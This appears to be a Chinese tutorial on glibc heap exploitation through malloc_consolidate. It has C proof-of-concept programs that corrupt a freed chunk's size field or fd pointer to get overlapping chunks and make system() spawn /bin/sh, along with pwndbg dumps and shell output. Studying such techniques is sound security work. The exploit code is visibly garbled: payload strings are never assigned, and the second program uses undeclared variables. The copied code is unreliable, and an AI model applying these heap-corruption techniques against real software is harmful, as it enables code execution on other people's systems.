## 前导知识

### glibc-2.23/malloc/malloc.c:4199

``````/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
av->top = p;
}``````

``````if (!nextinuse) {
size += nextsize;
}``````

``````set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;``````

## 情况一：chunk的size可控

### 正常情况

``````#include <stdlib.h>
#include <string.h>

int main()
{
char *chunk1, *chunk2;
chunk1 = malloc(24);
chunk2 = malloc(24);
malloc(0x10); // 防止与top chunk合并
free(chunk1);
free(chunk2);

// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk，即可触发使得两块chunk合并
malloc(0x1000);

return 0;
}``````

### 漏洞举例：

``````#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *controllable_chunk, *temp, *ptr, *sh, *payload;
controllable_chunk = malloc(24); //size: 0x20
temp = malloc(24);               //size: 0x20
malloc(0x10);                    // 防止与top chunk合并

free(controllable_chunk);
free(temp);

// controllable_chunk->size = 0x41
*(long *)(controllable_chunk - 8) = 0x41;
// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk，即可触发使得两块chunk合并
malloc(0x1000);

sh = malloc(24);
strncpy(sh, "id", 24 - 1);

ptr = malloc(0x40 - 8);
"aaaaaaaaaaaaaaaa" // 16
"/bin/sh";
strncpy(ptr, payload, 0x40 - 8 - 1);

system(sh);

return 0;
}``````

`sh = malloc(24);` 处下断点看看其heap状态：

``````pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602020 —▸ 0x7ffff7dd5b88 (main_arena+104) ◂— 0x602020 /* '  `' */
0x40: 0x602000 —▸ 0x7ffff7dd5ba8 (main_arena+136) ◂— 0x602000
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x602000
\$1 = {
prev_size = 0,
size = 65,
fd = 0x7ffff7dd5ba8 <main_arena+136>,
bk = 0x7ffff7dd5ba8 <main_arena+136>,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
pwndbg> p *(struct malloc_chunk *)0x602020
\$2 = {
prev_size = 0,
size = 33,
fd = 0x7ffff7dd5b88 <main_arena+104>,
bk = 0x7ffff7dd5b88 <main_arena+104>,
fd_nextsize = 0x40,
bk_nextsize = 0x20
}
pwndbg> ``````

``````ex@ubuntu:~/test\$ make 23
ex@ubuntu:~/test\$ ./a.out
\$ echo hello
hello
\$ exit
ex@ubuntu:~/test\$ make 27
ex@ubuntu:~/test\$ ./a.out
ex@ubuntu:~/test\$ ``````

glibc-2.26以上要先绕过tcache机制。

## 情况二-chunk的fd指针可控

#### 漏洞举例

``````#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
long long *ptr;
controllable_chunk = malloc(24); //size: 0x20
ptr = malloc(0x100);             //size: 0x110
malloc(0x10);                    // 防止与top chunk合并

ptr[1] = 0x31;  //fake chunk size 0x30
ptr[7] = 0x21;  //fake chunk's next chunk
ptr[11] = 0x21; //fake chunk's next chunk's next chuck

free(controllable_chunk);

//  modify the fd of chunk1
*(void **)controllable_chunk = ptr;
// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk，即可触发使得两块chunk合并
malloc(0x1000);

sh = malloc(0x30 - 8);
strncpy(sh, "id", 0x30 - 8 - 1);

"/bin/sh";

strncpy((char *)ptr, payload, 0x100 - 1);

system(sh);

return 0;
}``````

## 感悟-鸡汤

Do well in guiding yourself, rather than controlling yourself, so that you will get twice the result with half the effort, or you will feel very painful.